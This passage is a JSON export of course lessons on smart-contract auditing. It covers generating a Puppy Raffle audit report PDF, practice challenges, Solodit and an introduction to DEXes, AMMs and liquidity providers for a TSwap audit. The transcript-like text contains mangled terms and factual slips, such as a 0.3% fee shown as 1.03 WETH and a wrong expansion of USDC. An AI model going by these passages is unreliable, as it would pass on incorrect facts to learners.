variable.\n\n Instances:\n\n - `PuppyRaffle::raffleDuration` should be `immutable`\n - `PuppyRaffle::commonImageUri` should be `constant`\n - `PuppyRaffle::rareImageUri` should be `constant`\n - `PuppyRaffle::legendaryImageUri` should be `constant`\n\n
\n\n---\n\nThe final step, once the template has been filled out is to run our CLI command\n\n```bash\npandoc report-formatted.md -o report.pdf --from markdown --template=eisvogel --listings\n```\n\n### Wrap Up\n\nAnd with that - you should have a PHENOMENAL audit report to add to your security portfolio! The very next thing you need to do is add this PDF to the GitHub repository you made in the previous section. Tracking your progress and cataloging your experience is how you'll get your name out there and show the world what you know. Even audit firms like Cyfrin do this!\n\nHuge congratulations, let's bring this section home!\n\n---\n\nSimilarly to the previous PDF generating lesson, I'll include some common pitfalls and solutions you can reference here, should you run into issues in this process.\n\n
\nErrors/Issues\n\n1. **My home/root directory doesn't have a `.pandoc` file!**\n\n - Depending on your operating system, this file may exist elsewhere. If you're using WSL/Linux keep a few things in mind\n\n - The file may be hidden - files prepended with `.` are often hidden. You can reveal all files in a directory with the command `ls -a`\n - The file may be elsewhere - navigate back in directories (`cd ..`) until you reach one that looks like this\n\n \n\n ...from here navigate to `usr/share/pandoc/data/templates`. In here you will find existing templates and this is where `eisvogel.latex` should be added.\n\n2. **VS Code says I'm _unable to write a file to that directory_!**\n\n - This is related to your user permissions, we can force the file to be created with a sudo command. `sudo touch eisvogel.latex` - this command will create a file named `eisvogel.latex` in your current directory.\n - You may be prompted to enter your credentials or need to create an admin user.\n\n3. **VS Code says I'm _unable to write to eisvogel.latex_!**\n\n - Similarly to above, this is permissions related. The easiest work around I found was through another `sudo` command.\n ```bash\n sudo tee eisvogel.latex << 'EOF'\n [copy LaTex here]\n EOF\n ```\n - The LaTex you need to copy is available [**here**](https://github.com/Cyfrin/audit-report-templating/blob/main/eisvogel.latex). Yes, you will be pasting 1068 lines into your terminal - this will overwrite your `eisvogel.latex` file, in your current directory, with that copied data.\n\n4. **When I run `pandoc report.md -o ... etc` I get _File Not Found_**\n\n - This seems caused when our LaTex package is missing an important element. The easiest solution is to assure we have the full distribution of the package we're using. For WSL users `sudo apt install texlive-full` will resolve these errors.\n - Note: `texlive-full` is 5.6GB in size.\n\n5. **When I run `pandoc report.md -o ... etc` I get _Missing number, treated as zero_**\n\n - Caused by an error in the LaTex syntax either in your markdown using it, or the template itself. Replace the block of LaTeX at the top of your `report.md` file with the following:\n\n ```\n \\begin{titlepage}\n \\centering\n {\\Huge\\bfseries Protocol Audit Report\\par}\n \\vspace{2cm}\n \\begin{figure}[h]\n \\centering\n \\includegraphics[width=0.5\\textwidth]{logo.pdf}\n \\end{figure}\n \\vspace{2cm}\n {\\Large Version 1.0\\par}\n \\vspace{1cm}\n {\\Large\\itshape equious.eth\\par}\n \\vfill\n {\\large \\today\\par}\n \\end{titlepage}\n ```\n\n This should resolve the error.\n", + "updates": [] + }, + { + "lessonId": "a94fec74-bad9-491f-bf90-8e96ceeb6f83", + "number": 64, + "title": "Exercises", + "slug": "exercises", + "folderName": "64-exercises", + "description": "", + "duration": 5, + "videoUrl": "3IfZwGlsO9K02LUDgAaSb8jsnUltDsV7MifMH8qCe7V8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/64-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n_Follow along with this video:_\n\n---\n\n### Exercises\n\nThis has easily been my favourite auditing codebase. We've come a long way and now is a great time to take a break and feed that ice cream addiction.\n\nWhen you're ready we've got much more for you to dive into to sharpen your skills and further familiarize yourself with the vulnerabilities we've discussed in this section.\n\nNavigate to [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo.\n\nIn the same area of this repo where we'd reference our simplified Remix examples, we've additional sections available to you, including `Ethernaut`, `Damn Vulnerable DeFi` and `Case Studies`. These are invaluable resources to challenge yourself and learn more about the security eco-system in Web3.\n\n### Ethernaut\n\nEthernaut, is amazing. It's effectively a compilation of CTFs (capture the flags) or games where you learn about how to exploit various vulnerabilities in a semi-live environment. There are dozens of challenges to complete. I highly recommend starting with `Hello Ethernaut` as it will outline the basics of how Ethernaut works and how to play.\n\nYou _are_ expected to know a little bit of JavaScript for some of the functionality of `Ethernaut`, but with a little work you can deploy the instanced contracts and interact with them through `Foundry` or `Etherscan` as well.\n\n\n\n### Damn Vulnerable DeFi\n\nI also would encourage you to check out [**Damn Vulnerable Defi**](https://www.damnvulnerabledefi.xyz/), which has a number of similar challenges. I'll warn you that DVD _is_ a bit more challenging than `Ethernaut`\n\nUnfortunately DVD is _also_ written in `Hardhat`, so some JavaScript knowledge goes a long way.\n\n> **Note:** Someone needs to rewrite this in Foundry!!!\n\nWhat you can do, if you're not comfortable with `Hardhat` would be to copy the contracts that Damn Vulnerable Defi provides you into a Forge project and just try to break it locally. Each challenge in DVD provides you with your objectives.\n\n\n\n### Case Studies\n\nThis section, of course, offers some case study examples of the vulnerabilities we've been discussing so you can gain further insight into how impactful these issues have been and how they've affected the ecosystem beyond all the theory - in the real world.\n\n---\n\nBeyond the above, we've got **even more** for you to do to practice all you've learnt in this section.\n\n1. [**Ethernaut Challenges**](https://ethernaut.openzeppelin.com/) (1, 9 & 10)\n2. Sign up for [**Solodit**](https://solodit.xyz/)\n3. Post a tweet about how you completed the Puppy Raffle Audit!\n4. Sign up for [**Farcaster**](https://www.farcaster.xyz/)\n5. Do a [**CodeHawks First Flight**](https://www.codehawks.com/first-flights)\n\n🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀🧑‍🚀\n\n### Section 4 NFT Challenges\n\n- [**A combination hack (Arb)**](https://arbiscan.io/address/0xef72ba6575b86beaa9b9e4a78bca4a58f3cce276)\n- [**A combination hack (Sepolia)**](https://sepolia.etherscan.io/address/0xf988ebf9d801f4d3595592490d7ff029e438deca)\n", + "updates": [] + }, + { + "lessonId": "245558bd-9ab1-4fb1-a429-07d8623e5d3c", + "number": 65, + "title": "Solodit", + "slug": "solodit", + "folderName": "65-solodit", + "description": "", + "duration": 4, + "videoUrl": "DzlS01Ier56kx009IsB2DaS00m1LPW4HypELxUegm878gI", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/65-solodit/+page.md", + "markdownContent": "---\ntitle: Solodit\n---\n\n_Follow along with this video:_\n\n---\n\n### Level Up Your Security Game with Solodit\n\nAnybody who aims to excel in competitive audits and enhance their grasp of Web3 security should pay attention. The secret tool you need to get an edge? It's called [**Solodit**](https://solodit.xyz/).\n\nThe legendary [**Hans Friese**](https://twitter.com/hansfriese?lang=en) Was the #1 competitive auditor by earnings for the first half of 2023 with over $100,000 won.\n\nWhen asked for advice on how he performs so well, he says one of the most beneficial things he does is reading the reports of other auditors.\n\nThus [**Solodit**](https://solodit.xyz/) was born. [**Solodit**](https://solodit.xyz/) aggregates publicly available security reports from across the industry into a single convenient aveneue to search and sort through.\n\nOnce logged in you should see something like this, a clean UI through which you can search and filter by anything you'd like.\n\n\n\nBy navigating to the [**`Audits` menu**](https://solodit.xyz/audit), we can even see live and upcoming audit competitions as well as learn about types of audits such as the Multi-Phase Audit.\n\n\n\nIn addition to this, Solodit aggregates open `bug bounties` as well as `leaderboard` positions across multiple auditing platforms.\n\nThere's even a notes section, to allow you to jot down your thoughts on your findings, or the findings of other people.\n\n[**Solodit**](https://solodit.xyz/) truly is the `one-stop-shop` for security researchers.\n\n### Wrap Up\n\nBecoming a successful security researcher or a leading smart contract developer requires continuous learning. Solodit provides a unique platform that allows you to effortlessly learn, compete, and evolve as a professional in the sector. Consider it as your personal go-to learning and resource tool for staying abreast of industry developments. If you aspire to lead in the world of smart contract security, signing up for Solodit is a no-brainer.\n", + "updates": [] + }, + { + "lessonId": "a5810a91-3839-4aa1-8bc3-f235e17d4ff8", + "number": 66, + "title": "Wrapping Up", + "slug": "wrapping-up", + "folderName": "66-wrapping-up", + "description": "", + "duration": 2, + "videoUrl": "MiGd85HXLxSy005IARKrGHD01AXme01v7mfDwFreMctCYQ", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/66-wrapping-up/+page.md", + "markdownContent": "---\ntitle: Wrapping Up\n---\n\n_Follow along with this video:_\n\n---\n\n### Celebrate Your Wins\n\nThe very next thing you should do is post a tweet celebrating how far you've come and flexing how much you've learnt to the community.\n\n![](https://cdn.videotap.com/IWZnrLvTfiL85XHWN2bU-13.04.png)\n\nGo ahead and share your success on Twitter. There's no better way to share the news than a straightforward, cheerful tweet. If you're not sure how to compose your tweet, don't worry. I got you covered.\n\n[**Clicking this will auto-generate a tweet for you to share your success!**](https://twitter.com/intent/tweet?text=I%20just%20completed%20the%20%40cyfrinaudits%20Puppy%20Raffle%20%F0%9F%90%B6%20Audit%20from%20the%20Ultimate%20Security%20Course.%0a%0aThanks%20%40patrickalphac!)\n\n> \"Celebrating your wins publicly not only helps you keep track of your progress but also encourages others to keep going.\"\n\n### Farcaster: Web3 Social Media\n\nYou might also be interested in a more Web3 focused social media, if so I'd recommend checking out [Farcaster](https://www.farcaster.xyz/) to find like-minded researches and connect!\n\n### CodeHawks First Flights\n\nWith two practice audits under your belt, I highly recommend participating in a [**CodeHawks First Flight**](https://www.codehawks.com/first-flights). These events are made specifically for someone like you, someone who wants to get their feet wet with easier/quicker competitive audits and gain some real experience.\n\n.. If you're feeling really confident, you may even want to try a _real_ competitive audit!\n\nNow's a great time to pause the course and participate in whichever First Flight is active, a new one starts every 2 weeks!\n\n### Commend Yourself for The Milestone Achieved\n\nRegardless of what you choose to do next, take a moment to pat yourself on the back. You've made it this far and it's no small feat. You've gotten a feel for what it's like to be a security researcher—diving into code bases, writing reports, looking for vulnerabilities, and spotting potential bugs based on past experiences.\n\nRemember, in this field, repetition is the mother of skill. The more audits you carry out, the more skilled you will become.\n\n```js\nconsole.log(\n \"Congratulations on getting this far! Now, go enjoy some ice cream.\"\n);\n```\n\nTake that break, because in Section 5 the training wheels come off with `TSwap`, we're going to jump into Invariants, Fuzzing, Advanced DeFi and more.\n\nCongratulations again, and I'll see you in Section 5!\n\n🐸\n", + "updates": [] + } + ] + }, + { + "number": 5, + "sectionId": "a5e8a426-8db9-4b0e-934e-6dfdabf202c4", + "title": "TSwap", + "slug": "tswap", + "folderName": "5-tswap", + "lessons": [ + { + "lessonId": "e420cca9-92f8-48e4-ae32-33c55034fed8", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "", + "duration": 5, + "videoUrl": "Ummg02Io4mqR02gbE02Ajd00mbtRSWF02QgiDuuVqEd500gF00", + "rawMarkdownUrl": "/routes/security/5-tswap/1-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Unveiling Invariance and DeFi in Security Auditing: An Interactive Exploration\n\nHappy to have you back in the exciting world of Security and Auditing. So, you’ve made it through the delightful puppy raffle, you have ideally signed up for Codeox and might have sprung into your first few flights or even explored a contest. That's awesome! You'd certainly be exuding more confidence about your security and auditing journey. But there's a lot more to unfold and absorb.\n\n## Entering Section Five: Invariance and Introduction to DFI T-SWAP Audit\n\nIn our detailed Git repo related to this course, when you scroll down, Section Five, Invariance and Introduction to DFI TSWAP Audit, will catch your attention. Making your journey a slight bit more interesting this time, we are moving onto another walkthrough security review. This time around, we will approach the task differently.\n\n![](https://cdn.videotap.com/y4z5tLc5N9gtADQGQSGP-43.5.png)\n\n## A Glimpse of What’s to Come\n\nDo not rush into the contracts yet, there’s plenty to learn before that! We will cover a lot in this section, a prime focus will be on 'Invariance'. Though we've touched upon invariants in the Foundry Course, we never really delved into their significance, and when it comes to security, that's when you realize how crucial they are.\n\nAs a budding security researcher, it’s critical to understand and appreciate the weight that invariance carries. You'll learn to identify bugs without even looking at the code in-depth. Of course, this shouldn't be your only strategy in a security review, but through this session, we're demonstrating how critical and potent it can be.\n\nWe will be wielding an array of powerful tools, such as stateful fuzzing and fuzzing invariance. If you’re unfamiliar with freepy, don't worry, we will explore that as well.\n\n![](https://cdn.videotap.com/vxJBy007OWXoaJWFjk6V-97.88.png)\n\n## Dive Deeper into DeFi\n\nDeFi experienced a surge in popularity recently. For those unfamiliar, DeFi, or decentralized finance, refers to financial services that are available on a public decentralized blockchain network. It eliminates the need for intermediaries and allows for a more open financial system.\n\nDespite the intricacy, DeFi is relatively straightforward to grasp. With patience and perseverance, you will understand it. It's a concept that can seem daunting initially due to the complex terms used. In reality, most of the concepts are based on basic math.\n\nWe will dissect the Uniswap Protocol or the T swap protocol, a Decentralized Exchange in DeFi, and demystify it for better understanding. As we dive into the security review, we will use a myriad of robust tools to hack into the system.\n\n> \"A little progress each day adds up to big results.\"\n\nThis quote embodies the essence of our entire journey here. By the end of this section, you will have practically audited an entire Uniswap V1 in the audit data folder.\n\n![](https://cdn.videotap.com/v1Dx6md72HKpatpU5PgM-195.75.png)\n\n## A Bag Full of Exploits and Tooling\n\nAfter diving under the hood of DeFi, we're going to learn a slew of new hacking techniques and tools. These include exploring esteemed toolkits like Echidna Foundry, examining concepts like consensus mutation testing and differential testing, and studying properties and exploits such as Weird ERC-20s callbacks, rebates, reentries, and core invariant breakings.\n\nThe prime focus for this session will be on understanding DFI and Invariance. Roughly going to the end of this section, you will have the experience of practically auditing the first-ever Uniswap created (Uniswap V1), commodities with a few of the bugs that I stumbled into during my journey.\n\n## Get Set Go!\n\nWith everything I've shared with you, brace yourself for a thrilling juncture in Security and Auditing. Let's put on our thinking caps, get our VS code and popcorn ready, and dive right into T Swap. Together, we will crack the code and delve deeper into the world of DeFi.\n", + "updates": [] + }, + { + "lessonId": "8cd1ab7c-5005-41ec-93c7-86d7fb7b41a0", + "number": 2, + "title": "Phase 1: Scoping", + "slug": "phase-1-scoping", + "folderName": "2-phase-1-scoping", + "description": "", + "duration": 9, + "videoUrl": "J8keCLBxWY01ckQQmpl5LPqZ3X02HRwwjly6IL3u4l4VM", + "rawMarkdownUrl": "/routes/security/5-tswap/2-phase-1-scoping/+page.md", + "markdownContent": "---\ntitle: Phase 1 - Scoping\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## Cloning the Repo\n\nFirst things first, let's clone the repository into our security course directory as usual. Opening the repository link in a new tab, we copy the URL and perform a standard `git clone`. Let's paste this into our command line\n\n```bash\ngit clone https://github.com/Cyfrin/5-t-swap-audit\n```\n\nThis opens the 5 TSWAP audit into its own unique folder—an essential process for good workflow and code organization. To verify that all is well and we are on the correct branch, we run `git branch`.\n\nAs expected, we are on the main branch. This serves as our starting point for this eye-opening security review.\n\n![](https://cdn.videotap.com/3aVlKcGZ2t6Didb1YvL3-95.09.png)\n\n## Extensive Onboarding: Why It's Key\n\nAs we revisit the well-known Puppy Raffle, whose initial setup used basic onboarding, we delve into the importance of extensive onboarding, particularly for a TSWAP audit.\n\nThrough this review, you'll realize why taking the time to answer extensive onboarding questions is so crucial. The information collected in this process becomes a treasure trove for any security review—more so if questions are as painstakingly detailed as possible. That's why you want to gather as much information as possible, get your fingers everywhere credible!\n\n## Gathering the Important Data\n\nOur onboarding sheet collects basic information such as the website URL, which could have a wealth of information. It also enforces the absolute necessity of associated documentation—a critical pillar for achieving any successful code review.\n\nFor our TSWAP audit, the README file plays a pivotal role as our most accessible source of documentation. We also capture the point of contact, white paper, and commit hash.\n\nOn a regular audit, we'd swap branches to the commit hash to ensure we're working on an identical codebase through the command `git checkout \"[paste commit hash here]\"`. In this tutorial, however, we'll stick with the main branch.\n\n## Checking Codebase Size and Interactions\n\nOur TSWAP repository has two contracts in scope: Pool Factory and TSWAP. A scroll through the SRC shows that these are the only contracts in action, with a SLOC (Source Lines of Code) of 374. This figure, being double the size of our previous Puppy Raffle review, gives us a mental image of review duration based on code length and complexity.\n\nWe head into uncharted waters with a crucial question: How many external protocols does the code interact with? Though new to this discourse, you'll discover the answer's importance in due course.\n\n## Test Coverage: A Total Nightmare\n\nA cursory look at the test coverage (a dismal 41%) sets off alarm bells. By delving into the README file and running `make` on our command-line interface—watching as it triggers installations—we can see the extent of the test coverage—the bedrock of any software project.\n\n![](https://cdn.videotap.com/CsI8uiOgGgscAECYBaRW-297.16.png)After a round of `forge coverage`, we cringe at the test coverage results. A low coverage figure, such as the 40% and 37% for functions and branches respectively that we are staring at, is a bright red flag for bugs galore!\n\nOnce this alarming discovery is made, we must revert to the main branch using the commands `git stash` and `git checkout main`. We must also run `make` to commence another series of installations.\n\nNo sooner are these installations done that we return to business—our comprehensive onboarding documentation.\n\n## Scope, Scope File and Building Protocol Context\n\nOur review scope is now clear: the Pool Factory and TSWAP. With commands `make scope`, and `make scope file` we generate an output and file that are incredibly compatible with pandoc—a documentation generation tool we love.\n\nNow that the scope is clarified, we delve deeper into protocol understanding. Here, we ask questions like whether the project is a fork of an existing protocol, or if it uses rollups. Such queries, though seemingly unrelated to the immediate task, bear great significance later in the course.\n\nIn our case, our protocol is a new standalone rather than a fork of an existing one (Uniswap V1 for this instance). It doesn't use rollups or have multi-chain functionalities. It operates exclusively on Ethereum, sans the use of oracles or zero-knowledge proofs. It does interact with ERC20 tokens though, a factor you will get a clear understanding of once we delve into the protocol explanation.\n\n## More Onboarding Questions\n\nDuring protocol onboarding, it's essential to engage in a deep and meaningful conversation with the protocol team about protocol risks. Questions about rogue protocol admin capturing fees, inflationary deflationary ERC20, fiat transfer tokens, and rebasing tokens will often receive dismissive or uninformed responses.\n\nProtocols will often deny known issues or prior audits, as seen in our onboarding document. These points, however, form a vital part of building context resources, hence their import.\n\nThe README file plays a crucial role in this process but often falls short in providing adequate information. At this point, you'd reach out to the protocol team requesting walkthroughs, explainer videos, charts, or even a blog post—anything to build up an adequate information base.\n\nRemember, the developers of a protocol always possess more context than you'll ever get from code alone. Thus, asking them questions will accelerate your understanding. While it's critical to trudge through the codebase independently, reaching out when stuck can lead to faster solutions.\n\nNotwithstanding, remember to use the protocol team's time wisely and avoid asking basic questions like \"what's UN 256\". Your questions should reflect a deep understanding of the protocol and be geared towards obtaining further understanding.\n\n## Wrapping Up\n\nOur extensive onboarding not only prompts critical questions but also provides ready answers where possible. Obtaining answers to 'rec test' questions and understanding their post-deployment plans is easier when conducting a private audit. However, in a competitive audit setting, this information might not come as readily.\n\nIn summary, this T-SWAP audit tutorial shows just how comprehensive and detailed a security review can be. From cloning repositories and capturing enormous amounts of data to conversing with the protocol team about potential risks—every stage carries its weight of importance. So, buckle up, ask questions, and dig into those reviews with gusto!\n\nKeep an eye on this space, and let's explore more interesting protocols next time.\n", + "updates": [] + }, + { + "lessonId": "cc17642d-b651-4008-9c54-9c65032f9a91", + "number": 3, + "title": "Primer On This Review", + "slug": "primer-on-this-review", + "folderName": "3-primer-on-this-review", + "description": "", + "duration": 2, + "videoUrl": "rzFEOWoy8eg9xa00fEWpB269vMtyoClvuA6J597rvY00k", + "rawMarkdownUrl": "/routes/security/5-tswap/3-primer-on-this-review/+page.md", + "markdownContent": "---\ntitle: Primer on This Specific Review\n---\n\n_Follow along with this video:_\n\n\n\n---\n\nWelcome, committed developers! If you've successfully traversed the onboarding phase of your latest project, not without its fair share of glitches, but overall a positive experience, let's now sail into the realms of uncharted territory. Here's where we dig deeper into documentation and imbibe the magic potion of protocol invariants. Sound unfathomable? Stay hooked!\n\n_\"Understanding a protocol's invariants is as crucial as security review itself, and it's possible to do one without opening any code.\"_\n\nSo buckle up for an intriguing journey of dissecting documentation, decoding protocol invariants, and their role in devising robust test suites.\n\n## **Unveiling Documentation**\n\nDocumentation serves as a treasure trove of virtues to get a deeper understanding of the codebase. Let's take a tour of the pertinent areas that call for focus and elaboration. Crystal clear documentation eases the complex process of security review, but—to our dismay—that's not always the case.\n\nAt times, documentation may not do absolute justice in illustrating intricate processes or mechanisms. For these instances, we need to bolster comprehension using self-explanatory diagrams and choreographed video lessons.\n\n## **Impact of Base Protocols: Case of Uniswap**\n\nOur discussion takes a fascinating turn as we move onto the trading phenomenon of decentralized exchanges. The protocol under our scanner, TSwap, derives its inspiration from the Uniswap Protocol.\n\n![](https://cdn.videotap.com/40hr7aunyYjpIPhaqrYe-49.68.png)\n\n[Learn more about Uniswap here](https://docs.uniswap.org/)\n\nBy analyzing TSwap, you inadvertently learn a great deal about Uniswap. It will unveil underlying concepts such as Automated Market Makers (AMMs) and decentralized exchanges.\n\nThe significance of comprehending these principles becomes the focal point when conducting a _Decentralized Finance (DeFi) Security Review_. The term \"Raffle,\" if familiar, would sound synonymous in this context. The rule of thumb? Know about raffles if dealing with a raffle, understand decentralized exchange when handling a decentralized exchange!\n\n## **Exploring Protocol Invariants**\n\nNow, before plunging into the nitty-gritty of devising foolproof test suites, let's lay the groundwork and comprehend _protocol invariants_.\n\nProtocol invariants typically refer to properties in a system that remain unchanged irrespective of the sequence of operations. Essentially, during the security review of a codebase, it's vital to define and verify the protocol invariants.\n\n## **Testing the Waters: Prepping for Test Suites**\n\nIn the world of coding, defining and understanding protocol invariants occupies a paramount position before the creation of test suites. It devolves chaos into order, aligns our vision, and sets into motion a trajectory that ultimately leads us to the wonderland of our retrieved goal.\n\nTo sum up, navigating the labyrinth of code security review gets simpler if you devote sufficient time understanding the nuances of documentation, the influence of base protocols and the pivotal role of protocol invariants before crafting test suites.\n\nIn the words of a seasoned developer,\n\n> \"Understanding the precepts before jumping into action can make the journey less cumbersome and the destination more rewarding.\"\n\nSo let's make that journey, let's begin the rewarding read and understanding the documentation.\n", + "updates": [] + }, + { + "lessonId": "50ec6e20-7dd2-4a15-954f-67be45ea239d", + "number": 4, + "title": "What is a DEX?", + "slug": "what-is-a-dex", + "folderName": "4-what-is-a-dex", + "description": "", + "duration": 3, + "videoUrl": "tYZiE4cU00JTzVmBoQ02bvni00M4S5onYqGkTQLTLHOraA", + "rawMarkdownUrl": "/routes/security/5-tswap/4-what-is-a-dex/+page.md", + "markdownContent": "---\ntitle: What is a DEX?\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# The Ultimate Guide To T-SWAP & Decentralized Exchanges\n\n## Getting Started\n\nAre you familiar with the concept of decentralized exchanges or DEXes? Well, T-SWAP is a promising project and an upcoming player in this space. T-SWAP is meant to be a permissionless way for users to swap assets between each other at a fair price. What else does T-SWAP aim to do, you ask? Well, let's unravel its offerings.\n\n## The T-SWAP in a Nutshell\n\nImagine you're a user with ten USDC (a stablecoin pegged to the US dollar) and you want to buy WETH (Wrapped Ether, an ERC20 equivalent of Ethereum). T-SWAP essentially allows for this transaction to occur. In simple terms, a user starts with ten USDC and zero WETH, use T-SWAP to make a swap, and they will end with zero USDC and some WETH.\n\nYou can think of T-SWAP as a decentralized asset token exchange similar to popular platforms such as Coinbase or Robinhood. But it's not just another cryptocurrency exchange, it is powered by the concept of decentralization, offering a cutting-edge alternative to traditional exchanges.\n\n![](https://cdn.videotap.com/iTNZThQG62yyusiLZJVT-35.77.png)\n\n## Diving into Decentralized Exchanges (DEXes)\n\nA quick visit to DeFi llama, a popular site that tracks decentralized finance protocols, will give you an idea about the variety of DEXes in the market. From Uniswap, Curve, Balancer to SushiSwap, each of these platforms have unique code bases and different pros and cons.\n\n> \"DEXes are a revolutionary approach to asset exchange, veering from the centralised norm and offering an autonomous, often peer-to-peer, trading experience.\"\n\nT-SWAP, much like many of these exchanges, is also classified as an Automated Market Maker (AMM). If you are confused or intrigued at this point, don't sweat it. Here is an article on Chainlink Labs that provides a detailed walk-through of the AMM concept.\n\n## Introducing Automated Market Makers (AMM)\n\nDecentralized exchanges such as T-SWAP operate differently from traditional order book exchanges. This is where the concept of AMMs comes in. It makes use of asset pools rather than an order book for asset exchange.\n\nRemember, diving into the world of DEXes and AMMs can initially be challenging, but also immensely rewarding. So take the plunge, and happy learning!\n", + "updates": [] + }, + { + "lessonId": "dea61563-14e6-4c88-935e-4cbdc977f46a", + "number": 5, + "title": "What is an AMM?", + "slug": "what-is-amm", + "folderName": "5-what-is-amm", + "description": "", + "duration": 10, + "videoUrl": "hcaTWeWr7FV6DhzTW35q6500rQOmqIeA2RPaSVvjiWvw", + "rawMarkdownUrl": "/routes/security/5-tswap/5-what-is-amm/+page.md", + "markdownContent": "---\ntitle: What is an AMM & How AMM works?\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Understanding Automated Market Makers: A Deep Dive into Decentralized Finance\n\nDecentralized finance is gaining popularity as the world turns towards blockchain technologies for secure, transparent financial transactions. Central to DeFi's attraction is the Automated Market Maker (AMM), a unique trading model that is reshaping our understanding of trading mechanisms. However, to grasp this concept effectively, let's first refresh our understanding of the traditional order book style of exchange.\n\n## The Traditional Order Book Style of Exchange\n\nImagine that you want to trade on Coinbase or Robinhood. Here's what that process might look like:\n\n1. You come to the exchange and say, \"Hey, I want one WETH (Wrapped Ethereum) for ten USDC.”\n2. You place an order that goes onto what's known as an 'order book.'\n3. Another user sees your trade and decides they're interested.\n\nIf the other user has one WETH and zero USDC, they might think your trade is reasonable and decide to take it. The system identifies these matched orders and facilitates the exchange. User A gives ten USDC to the system, which gives it to User B, and vice versa.\n\nThis model is commonly used by large, centralized exchanges; however, it does present a few challenges:\n\n- Every exchange transaction using Ethereum costs 'gas' (i.e., the cost of computation). This can rack up significant costs for users and could potentially deter people from using the platform.\n- With this style of exchange, a lot of computation work occurs behind the scenes. This complexity can hinder its full implementation on a decentralized platform like Ethereum.\n\nSo, knowing these limitations, Ethereum decided on an alternate approach.\n\n![](https://cdn.videotap.com/e4EULmEIKYejqgjYxvO4-189.76.png)\n\n## Enter the Automated Market Maker\n\nRather than placing orders and matching them as in an order book exchange, an AMM operates on the principle of liquidity pools.\n\nLet's visualize this using an example:\n\n1. Assume two giant pools of money or 'liquidity pools' exist — one with 100 WETH and the other with 1000 USDC.\n2. User A wishes to buy one WETH with his ten USDC.\n\nAt this stage, a specific mathematical function comes into play:\n\n- The system calculates the ratio of WETH to USDC in the pools which is 1000 USDC / 100 WETH = 10.\n- So, the 'mock price,' as we are calling it, is 1 WETH = 10 USDC.\n\nNow, if User A wants to take one WETH out of the pool, he must ensure the correct ratio is maintained. So he puts ten USDC into the USDC pool, and only then can he take out one WETH.\n\n![](https://cdn.videotap.com/NDFbEb030FC4DlLUCFdR-355.8.png)\n\nThis alters the ratio in the pools. There are now 1010 USDC and 99 WETH. Recalculating, we see the ratio is now 1010/99 = 10.2. One WETH now amounts to 10.2 USDC - an increase of 0.2 USDC from the last transaction. By simply completing the transaction, User A has managed to move the market and change the price of WETH. This essentially resembles market dynamics breath the concept of supply and demand; as demand for an asset increases, so does its price, and vice versa.\n\n![](https://cdn.videotap.com/csLNwV1pl8cFQGODANry-379.52.png)\n\nThis same principle applies when User B wants to trade. They can keep changing the ratios by adding or subtracting amounts in these pools to trade their preferred amount, given that the ratio always is maintained. This AMM model is known as a 'constant product market maker,' a type of AMM that maintains a constant product of the quantities of the two assets.\n\nThe following code block presents an example of how this might be implemented programmatically:\n\nThis demonstrates how an AMM operates in a simple and efficient manner, bypassing the traditional challenges of an order book model. But, it is important to remember that this simple example doesn't capture the complexity and potential risks associated with real-world AMMs.\n\nAMMs are just one aspect of DeFi that is pushing the boundaries of what is possible in finance, allowing individuals to gain control over their financial interactions. However, it’s crucial to understand that, like any financial system, it comes with its own set of risks and challenges. Remember, your capital is always at risk when investing.\n\n_“The fascination of DeFi lies in the infinite possibilities it brings to the world of finance, pushing boundaries and creating opportunities.”_\n", + "updates": [] + }, + { + "lessonId": "08b67262-6849-4a51-b128-5a890f5b25a5", + "number": 6, + "title": "Liquidity Providers", + "slug": "liquidity-providers", + "folderName": "6-liquidity-providers", + "description": "", + "duration": 11, + "videoUrl": "omJrL01ykVB5zgQ5UYnNeZBtMWtHpHuB2TonfBkOZmN4", + "rawMarkdownUrl": "/routes/security/5-tswap/6-liquidity-providers/+page.md", + "markdownContent": "---\ntitle: Liquidity Providers - Why AMMs have Fees?\n---\n\n\n\n---\n\n# Untangling Decentralized Finance: Understanding Automated Market Makers (AMMs)\n\nWelcome back to our deep-dive into the bustling world of decentralized finance. Today, we're unraveling the complexity of Automated Market Makers (AMMs) like Uniswap and Sushiswap, explaining how they facilitate trades and generate fees for liquidity providers. Let's get started!\n\n## What Makes An AMM Work?\n\nThe heart of an AMM like Uniswap resides in its liquidity pools. For simplicity, let's take an imaginary pool that contains 1000 USDC (United States Digital Coin) and 100 WETH (Wrapped Ether). This pool facilitates trades: for instance, someone could exchange 10 USDC for 1 WETH.\n\nBut there's more to it: after the trade, there's a new balance in the pool. With one WETH taken out and 10 USDC added, we now have 1010 USDC and 99 WETH.\n\nIMPORTANT: Remember, almost all AMMs also extract a small fee for each transaction, say, 0.3%. So, to trade 1 WETH, one might actually need to send 1.03 WETH, with the 0.03 WETH fee either going to its designated spot or staying within the pool.\n\nNow, you might be wondering if there's a loophole that allows you to make infinite money by continuously trading, but allow us to dash your dreams. AMMs have mathematical safeguards in place to prevent such abuse.\n\n## The Role Of Liquidity Providers\n\nWho funds these pools full of digital currencies, you ask? Enter the Liquidity Providers (LPs), the unsung heroes of the AMM system. They supply the assets to the protocol so individuals can perform swaps.\n\nWhen an LP adds their funds - for example, 1000 USDC and 100 WETH - they gain ownership of the pool equivalent to their share of total funds, which is represented by Liquidity Provider Tokens (LP Tokens).\n\nSo, by investing their assets into the protocol, LPs not only gain ownership but also earn a share of the transaction fees generated from the trades.\n\n## More About LP Tokens And Fees\n\nLet's investigate further into the LP Tokens and their relationship with fees. Say, a new liquidity provider, C, enters the pool with half of what A and B initially put in, essentially 500 USDC and 50 WETH. This, in turn, increases the total assets in the pool to 2500 USDC and 250 WETH.\n\nIn return for their contribution, liquidity 